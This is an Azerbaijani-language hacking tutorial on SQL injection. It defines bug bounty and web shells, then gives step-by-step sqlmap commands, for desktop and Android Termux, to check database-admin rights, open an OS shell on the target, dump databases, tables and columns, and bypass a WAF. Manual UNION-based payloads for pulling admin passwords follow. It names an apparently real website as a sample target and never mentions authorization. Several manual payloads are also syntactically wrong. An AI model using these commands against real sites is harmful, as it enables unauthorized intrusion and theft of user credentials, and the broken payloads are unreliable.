SQL INJECTION
ƏLAQƏ: @Shirinov039
My Channels: @ShirinovInfo
Bug Bounty Nədir?
Bug Bounty, proqramdakı yaxud sistemdəki (saytdakı) zəifliklərin aşkarlanması və nəticədə ortaya çıxan zəif hissələrin aradan qaldırılması məqsədi ilə müxtəlif qurum və təşkilatlar tərəfindən başladılan bir kiber təhlükəsizlik proqramıdır. Bug Bounty proqramlarında iştirak edən və proqram zəifliklərini aşkarlayan və bunları bildirən insanlara Bug Hunters deyilir. Ölkəmizdə çox yaygın olmasa da, bir çox xarici ölkədəki bir çox müəssisə və təşkilatda Bug Bounty proqramı mövcuddur.
Shell Nədir? Nə İşə Yarayır?
Shell yükləndiyi saytda müxtəlif səlahiyyətlər verən materialdır. Bu icazələr saytda oxuma, yazma və silmə icazələridir. Bəzən shell yüklədiyimiz (upload etdiyimiz) saytda sahiblərdən birinin səlahiyyətlərini istifadə edə bilirik, bəzəndə server(host) sahibinin səlahiyyətlərini istifadə edirik. Buna Permission Səlahiyyəti deyilir.
Permissionları (İcazələri) açıq olan sayt, sistemdə istədiyinizi yükləyə, oxuya və silə bilərsiniz. İcazələri qapalı olan sistemdə, saytda səlahiyyətlər məhdud olur. Tam səlahiyyətli olmaq üçün serveri rootlamalısınız
Açıq Nədir?
Açıq (bug) sistemdəki boşluqdur. Daha dəqiq desək sistemdəki xətadır. Açıqlar çoxdur. Bunlardan ən geniş yayılmışlar bunlardır:
- SQL İnjection
- XSS
- IDOR
- Broken Authentication and Session Management
- CSRF
- Security Misconfiguration
- Insecure Cryptographic Storage və sairə
SQL Nədir?
SQL anlayışı hərfi mənada "Strukturlaşdırılmış Sorğu Dili" (Structured Query Language) deməkdir.
Yəni ortada bir sual-cavab əlaqəsi vardır. Məsələn sosyal mediya platformasında və ya bir elektronticarət saytında qeydiyyatdan keçərkən sizin daxil etdiyiniz istifadəçi adı və şifrələr bir verilənlər
bazasına əlavə edilir və bundan sonrakı login proseslərinizdə, sistem sorğulayaraq yəni axtararaq
”istifadəçi adı” ”parol” birləşməsini uyğunlaşdırmağa çalışır. Uyğun gələrsə daxil olarsınız, uyğun
gəlmərsə daxil ola bilməzsiniz. Beləliklə SQL verilənlər bazası bir request-response infrastrukturu ilə
işləyir.
SQL İnjection Nədir?
Yuxarıda dediyim kimi verilənlər bazası, eyni ilə proqramlaşdırma dilləri kimi standart syntax növünə
sahibdir və bu verilənlər bazalarını yazan proqramçıların buraxdığı məntiqi səhvlərə uyğun olaraq
müəyyən sistem zəiflikləri yaranır. SQL boşluğunun əsl səbəbi istifadəçidən gələn request-i
sorğulamadan ona qarşılıq verən response-u istifadəçiyə verməsidir. Təəssüf ki, bu zəiflik nə qədər
yüngül qəbul edilsə də, məlumatların təhlükəsizliyi baxımından şirkətlər üçün yaxşı nəticələri olmaya
bilər. Çünki SQL Injection zəifliyi sayəsində root icazəsi olmadan tələb olunan request-i (sorğunu)
verilənlər bazaları ilə yönləndirə və istədiyiniz response-u (cavabı) ala bilərsiniz
SQL Boşluğu Necə Təyin Edilir?
SQL Injection sayt URL-lərində görünən bir zəiflikdir. Təbii ki bu saytları burada paylaşmağımız etik
deyil. Bu səbəbdən nümunə sayt kimi numune-sayt.com üzərindən göstərəcəyik:
https://www.numune-sayt.com/article.php?id=2
Sonunda gördüyümüz kimi “article.php.id?=x” sturukturu bütün SQL Injection zəifliklərində tapılır.
Bununla belə, bu ifadəyə malik olan bütün sistemlərdə SQL boşluğu olmur.
Bu bəhs etdiyimiz ifadə əslində bir verilənlər bazasının giriş qapısıdır və SQL boşluğu olub-olmadığını
təyin etmək üçün bu girişdəki təhlükəsizlikdən keçmək (qaçmaq) lazımdır. Dırnaq (‘) işarəsi ilə string
hissəsindən qaça bilərik. Bu proses sonrasında alacağımız xəta aşağıdakı kimi ola bilər:
Query Failed You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near ''' at line 1
Əgər bu xəta varsa SQL boşluğu mövcuddur. Təbii ki, xəta başqa cür də ola bilər. Hətta səhifədə
dəyişiklik olarsa, SQL boşluğu olma ehtimalı çox yüksəkdir. Bu dəyişiklik nədi
SQLMAP
Sqlmap python dilində hazırlanmış çox faydalı Sql injeksiya vasitəsidir.
Əsasən, təyin etdiyiniz parametrlərə uyğun olaraq hədəf veb saytında SQL payload kombinasialarını yoxlayaraq müvafiq veb saytı skan edir. Yəni bizim normalda manual (əl ilə) etdiyimizi avtomatik edir.
Linux Əməliyyat Sistemlərində; Kali Linux kimi sızma testləri üçün yaradılmış əməliyyat sistemlərində SQLmap hazır şəkildə gəlir. Digər Linux əməliyyat sistemlərində, Git əmrini əvvəllər quraşdırmısınızsa;
git clone https://github.com/sqlmapproject/sqlmap.git
İndi SQLmap-dan istifadə etmək üçün lazım olan hər şeyi etdik . Əvvəlcə Hədəf Saytda yazma icazənizin olub olmadığını yoxlamaq üçün əmr verməklə başlayıram. Yazmaq icazəniz varsa, SQLmap istifadə edərək sayta shell yükləyə bilərsiniz. (Yuxarıda shell-in nə olduğu və nə işə yaradığı verilib.).
QEYD: hədəf url - SQL açığı olan link
Sizə hədəf url olaraq nümunə: http://www.ubraintv.com/watch.php?id=1307
Aşağıdakı kodu terminala yazın və enter basın
sqlmap -u "hədəf url" -o -b --current-user --is-dba
Şəkildə gördüyünüz kimi “current user is DBA: True” çıxışını əldə etdikdə, bu sizin yazma icazəniz olduğunu bildirir. Əgər “TRUE” deyildiyi yerdə “FALSE” deyirsə, bu, icazənin olmadığını bildirir.
Yazma yetgisi varda yəni "DBA: True " çıxarsa artıq shell basa bilərik.
Shell basmaq üçün bizə aşağıdakı komut lazımdır;
sqlmap -u "hədəf url" -o -b --os-shell
Bu komutu yazdıqdan sonra SQLmap bizə shell basılmış linki verəcək.Ancağ hər dəfə shell basacaq deyə bişey yoxdur.Hədəf saytda Təhlükəsizlik sistemi ola bilər və ya başqa xətalardan qaynağlana bilər.
Saytın database adlarını göstərmək üçün --dbs parametrini işlədərək aşağıda verəcəyim əmri daxil edin.
sqlmap -u "hədəf url" --dbs
Database adlarını görüntülədikdən sonra Databasedəki tablo adlarını görüntüləmək lazımdır. Bunun üçün --tables parametrini işlədərək aşağıda verəcəyim komutu yazın.
sqlmap -u "hədəf url" -D database adı --tables
Databasedəki tablo adlarını görüntülədikdən sonra kolonları görüntüləmək lazımdır. Bunun üçün --columns parametrini işlədərək aşağıda verəcəyim
sqlmap -u "hədəf url" -D database adı -T tablo adı --columns
Databasedəki kolonları görüntülədikdən sonra onların içindəki məlumatı görüntüləmək lazımdır. Bunun üçün istədiyimiz kolon məlumatını --dump parametrəsiylə görüntüləyək. Bunun üçün aşağıda verəcəyim komutu yazın.
sqlmap -u "hədəf url" -D database adı -T tablo adı -C kolon adı --dump
Əldə edilən bütün məlumatlar SQLmapın görsətdiyi dosyada qeyd edilir.
İlk olaraq Play Marketə daxil olub Termux-u yükləyin. Sonra verəcəyim kodları bir-bir yazıb "enter" basın
termux-setup-storage pkg install gitapt updateapt install python2git clone https://github.com/sqlmapproject/sqlmap.git
İndi SQLmap-dan istifadə etmək üçün lazım olan hər şeyi etdik . Əvvəlcə Hədəf Saytda yazma icazənizin olub olmadığını yoxlamaq üçün əmr verməklə başlayıram. Yazmaq icazəniz varsa, SQLmap istifadə edərək sayta shell yükləyə bilərsiniz. (Yuxarıda shell-in nə olduğu və nə işə yaradığı verilib.).
QEYD: hədəf url - SQL açığı olan link
http://www.ubraintv.com/watch.php?id=1307
Aşağıdakı kodu terminala yazın və enter basın
python2 sqlmap.py -u "hədəf url" -o -b --current-user --is-dba
Şəkildə gördüyünüz kimi “current user is DBA: True” çıxışını əldə etdikdə, bu sizin yazma icazəniz olduğunu bildirir. Əgər “TRUE” deyildiyi yerdə “FALSE” deyirsə, bu, icazənin olmadığını bildirir.
Yazma yetgisi varda yəni "DBA: True " çıxarsa artıq shell basa bilərik.
Shell basmaq üçün bizə aşağıdakı komut lazımdır;
python2 sqlmap.py -u "hədəf url" -o -b --os-shell
Bu komutu yazdıqdan sonra SQLmap bizə shell basılmış linki verəcək.Ancağ hər dəfə shell basacaq deyə bişey yoxdur.Hədəf saytda Təhlükəsizlik sistemi ola bilər və ya başqa xətalardan qaynağlana bilər.
Saytın database adlarını göstərmək üçün --dbs parametrini işlədərək aşağıda verəcəyim əmri daxil edin.
python2 sqlmap.py -u "hədəf url" --dbs
Database adlarını görüntülədikdən sonra Databasedəki tablo adlarını görüntüləmək lazımdır. Bunun üçün --tables parametrini işlədərək aşağıda verəcəyim komutu yazın.
python2 sqlmap.py -u "hədəf url" -D database adı --tables
Databasedəki tablo adlarını görüntülədikdən sonra kolonları görüntüləmək lazımdır. Bunun üçün --columns parametrini işlədərək aşağıda verəcəyim
python sqlmap.py -u "hədəf url" -D database adı -T tablo adı --columns
Databasedəki kolonları görüntülədikdən sonra onların içindəki məlumatı görüntüləmək lazımdır. Bunun üçün istədiyimiz kolon məlumatını --dump parametrəsiylə görüntüləyək. Bunun üçün aşağıda verəcəyim komutu yazın.
python sqlmap.py -u "hədəf url" -D database adı -T tablo adı -C kolon adı --dump
Əldə edilən bütün məlumatlar SQLmapın görsətdiyi dosyada qeyd edilir.
SQLMAP Waf Bypassing
Məsələn bir saytda sql açığı tapdınız və sqlmap ilə girmək istədiyinizdə WAF/IPS/IDS problemi çıxdı amma siz davam etdiniz database çıxmadı bunun səbəbi saytda qoruma olmasıdır onda bizdə bu qorumanı bu kodla bypass edərik. Bunun üçün aşağıda verəcəyim komutu yazın.
sqlmap -u hədəf url --dbs --tamper=space2comment
python2 sqlmap.py -u hədəf url --dbs --tamper=space2comment
Manual SQL Exploitation
http://www.hedef-sayt.com/article.php?id=1
http://www.hedef-sayt.com/article.php?id=1'
(Dırnaq işarəsi qoyduq. Səhifədə xəta, dəyişiklik və s. Olarsa SQL boşluğu vardır.)
http://www.hedef-sayt.com/article.php?id=1' order by 1 -- -
(Order By komandasının yanındakı “1” rəqəmini xəta alana qədər artırırıq.)
http://www.hedef-sayt.com/article.php?id=1‘ union select 1,2,3,4 -- -
(bu ifadə kimi etdikdən sonra ekranda hansısa rəqəm çıxacaq. Tutaq ki, “3” rəqəmi çıxdı. Nəzərə alın ki, səhifədə “1 və 5” arasındakı rəqəmlərdən biri çıxmalıdır. Çünki nümunə olaraq vermişdik ki, order by komandasını icra edərkən xətanı 5də almışdıq. Tutaq ki, union select komandasını icra etdikdə “3” rəqəmi göründü ekranda)
http://www.hedef-sayt.com/article.php?id=1‘ union select 1,2,version(),4 -- -
Bu kod ilə versiya məlumatını öyrənə bilərsiniz.
http://www.hedef-sayt.com/article.php?id=1‘ union select 1,2,database(),4 -- -
Bu kod ilə “database” yada databaza adını öyrənə bilərsiniz.
“Table” adını necə öyrənə bilərik?:
http://www.hedef-sayt.com/article.php?id=1‘ union select 1,2,table_name(),4 from information_schema.tables -- -
Burdan admin “table”ını tapdınız deyək ki, tutaq ki admin table- adı “admin”-dir.
http://www.hedef-sayt.com/article.php?id=1‘ union select 1,2,column_name(),4 from information_schema.columns where table_name=admin -- -
Bu şəkildə də admin table-ını əldə edirik
İçində çox zaman username, password, id çıxır. Bunları necə əldə edəciyik?
http://www.hedef-sayt.com/article.php?id=1‘ union select 1,2,password(),4 from admin -- -
Bu şəkildə də password ları əldə edə bilərik, password silib username yazsaq, username hissəsini əldə edərik.
QEYD: HƏR SQL INJECTION OLAN SAYTI BELƏ EXPLOİT ETMƏK OLMUR. BƏZƏN SAYTDA WAF QORUMASI və s. OLUR. WAF-I BYPASS ETMƏYİN YOLLARI DA VAR. AMA BU DƏRİN MÖVZUDUR. NƏ OLDUĞUNU VƏ BYPASS YOLLARINI GOOGLE-DA AXTARARAQ TAPA BİLƏRSİNİZ. TƏK PROBLEM WAF DA DEYİL. SQL INJECTION PAYLOADLARI ÇOXDUR. NÜMUNƏDƏ ƏN SADƏ OLANLAR GÖSTƏRİLİB. BUNU DA QEYD ETDİM Kİ, YƏNİ ƏN AZINDAN MƏLUMATINIZ OLSUN. ARAŞDIRMA EDƏ BİLƏSİNİZ. BU YAZILARI OXUDUQCA ARAŞDIRMA ETMƏYİ UNUTMAYIN.